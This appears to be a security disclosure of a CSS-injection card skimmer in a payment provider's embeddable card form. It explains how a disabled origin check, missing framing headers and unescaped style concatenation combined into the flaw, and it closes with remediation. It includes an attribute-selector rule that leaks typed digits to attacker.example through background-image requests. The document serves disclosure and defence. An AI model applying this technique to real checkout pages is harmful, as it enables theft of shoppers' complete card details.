Card Skimmer Inside a Payment Provider's Own Card Form
The Risk
An attacker could steal a shopper's complete card details (card number, expiry, and security code) the moment they typed them into the company's own genuine payment box. Any website on the internet could secretly embed that real payment box and quietly read the card as it was entered, with no warning to the shopper and nothing for them to notice. There was no login, no fake page, and no malware involved: the shopper saw the authentic, trusted form and the card still leaked. The stolen details are everything needed to charge that card on any online store.
The Vulnerability
The payment provider serves its card-entry form as a dedicated page meant to be embedded inside a merchant's checkout. The page lives in the provider's locked-down card-data environment, the isolated origin that is the only place raw card numbers should ever exist.
That isolation depended on two controls, and in one checkout mode both were missing:
- The origin check was disabled. The form normally only accepts configuration messages from its own parent application. In the embedded checkout mode, a flag was hardcoded on, which short-circuited the origin check entirely. The form would accept an initialization message from any website that framed it.
- The framing protection was missing. The page shipped with no
X-Frame-Optionsand noContent-Security-Policy: frame-ancestorsheader, so any site could embed the genuine card form in an invisible or styled iframe.
The initialization message carried a styling object, and one of its fields (a font-family value) was written straight into a <style> element by raw string concatenation:
styleEl.textContent = ".theme { " + declarations + "; }"; Because the attacker controlled that value and it was concatenated unescaped, a single } inside it closed the rule and let arbitrary CSS be injected directly into the card-data origin. The card input fields also reflected their live typed value into each field's HTML value attribute, which is the detail that makes the leak possible.
The Attack
Embedding the Genuine Form
Any attacker page creates an iframe pointing at the real card form in its embedded checkout mode. The form, running in the trusted card-data origin, sends a "ready for initialization" message to its parent. The attacker page replies with a fully attacker-controlled initialization message from a foreign origin, and because the origin check is disabled, the form accepts it and renders the authentic card fields.
Injecting the CSS Skimmer
The attacker's styling value breaks out of the font declaration and injects CSS attribute-selector rules. Since each card field reflects its typed value into its HTML attribute, a rule like the following fires a network request the moment the field starts with a given digit:
input#card-number-input[value^="4000 0"] {
background-image: url(https://attacker.example/leak/40005);
} One rule per possible digit, chained across each position, reconstructs the full card number, expiry, and security code digit by digit. Every matched character fires a background-image beacon. Crucially, the attacker's own JavaScript never reads the cross-origin iframe (the browser forbids that). The only two channels are one initialization message in, and the styling-triggered image requests out, both flowing across the boundary in ways the browser permits.
Zero-Account, Zero-Phishing Delivery
No attacker account on the platform is needed. No victim login or cookie is needed (it works in a fresh private window). The attacker page can be a fully working merchant checkout that legitimately integrates the provider's form: the payment completes normally while every card entered is silently exfiltrated in parallel. Nothing in the form looks wrong, because it is the real form.
The Impact
In a hosted proof, a shopper opened a normal-looking checkout, typed a test card into the genuine embedded form, and the full card number, expiry, and security code arrived live on a separate attacker collection server in under a minute. The card details left from inside the trusted card-data origin via styling-triggered image requests, so neither the shopper nor the provider had any visible signal that the card was skimmed.
Card number plus expiry plus security code is the complete card-not-present set, sufficient to charge the card at any online merchant. Because any website could run this, and a compromised or malicious merchant could run it alongside a working checkout, the exposure spanned every shopper who entered a card into the provider's form on a page an attacker controlled or compromised.
Remediation
- Remove the hardcoded short-circuit. Gate the initialization handler on a real origin allow-list (the detected parent application URL, or an explicit list of permitted origins), never on a checkout-mode flag alone.
- Stop building CSS by string concatenation. Set values through the styling API (
style.setProperty()) and strictly validate any caller-supplied styling, rejecting{,},;, andurl(, or drop the runtime style override entirely. - Do not reflect card input values into the HTML
valueattribute. - Add
Content-Security-Policy: frame-ancestorsscoped to the provider's own domains (plusstyle-srcandimg-srcrestrictions) and/orX-Frame-Options, so the card-data form cannot be embedded by arbitrary origins.